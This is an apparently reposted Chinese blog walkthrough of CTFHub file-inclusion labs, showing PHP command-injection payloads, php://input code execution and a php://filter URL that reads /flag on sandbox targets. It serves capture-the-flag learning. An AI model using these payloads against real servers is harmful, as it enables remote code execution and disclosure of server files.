您的位置:首页 > 健康 > 美食 > ctfhub文件包含

ctfhub文件包含

2024/10/6 14:27:21 来源:https://blog.csdn.net/a666666688/article/details/140997254  浏览:    关键词:ctfhub文件包含

文件包含

url

http://challenge-41cbfbe04828b338.sandbox.ctfhub.com:10800/

构造url,利用hackabar进行Post data修改测试

http://challenge-41cbfbe04828b338.sandbox.ctfhub.com:10800/?file=shell.txt
ctfhub=system("ls");

ctfhub=system("ls /"); //查看根目录

ctfhub=system("cat /flag"); //查看flag

php://input

burp抓包构造payload

<?php system("ls");?>

查看根目录

查看flag文件

远程包含

开启靶场访问页面

可能存在文件包含漏洞

点击phpinfo,查看allow的两个选项是否开启

抓包测试

发送到repeter模块,构造payload

查看文件
<?php system("ls /"); ?>

查看flag文件内容,找到flag

读取源代码

查看页面

构造url读取flag

http://challenge-706aaf4604cfa60f.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag
  1. 基本结构
    • http://challenge-706aaf4604cfa60f.sandbox.ctfhub.com:10800/:这是目标服务器的基本URL。
    • ?file=:这是一个查询参数,表明我们要访问某个文件。
  1. 流封装器部分
    • php://filter/:这是PHP的流封装器,用于应用不同的过滤器来操作流数据。
  1. 过滤器部分
    • resource=:这是php://filter封装器的一种模式,表示要对指定的资源应用过滤器。
    • /flag:这是实际的文件路径,表明我们想要读取的文件是/flag

详细分析:

  • php://filter
    • PHP中的php://filter流封装器允许我们在读取或写入数据时应用过滤器。
    • 通常,我们会在php://filter之后指定过滤器(如base64编码、转换为字符串等),然后指定资源。
  • resource=/flag
    • 这里没有指定具体的过滤器,仅使用resource=,意思是直接访问资源文件。
    • 目标文件是/flag,这个文件通常存储在服务器上,需要通过某种方式读取其内容。

实际读取过程:

  • 当服务器处理这个URL时,它会解析file参数并使用指定的流封装器。
  • php://filter/resource=/flag会被解释为:直接访问并读取/flag文件的内容。

假设服务器没有进一步的安全检查或限制,直接访问这个URL将导致服务器读取并返回/flag文件的内容。这样就可以通过浏览器或其他HTTP客户端看到/flag文件的内容,通常这个文件包含一些敏感信息,比如CTF比赛中的flag。

示例流程:

  1. 你访问这个URL。
  2. 服务器收到请求,解析查询参数file=php://filter/resource=/flag
  3. 服务器使用PHP的流封装器读取/flag文件的内容。
  4. 文件内容作为HTTP响应的主体返回给你。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com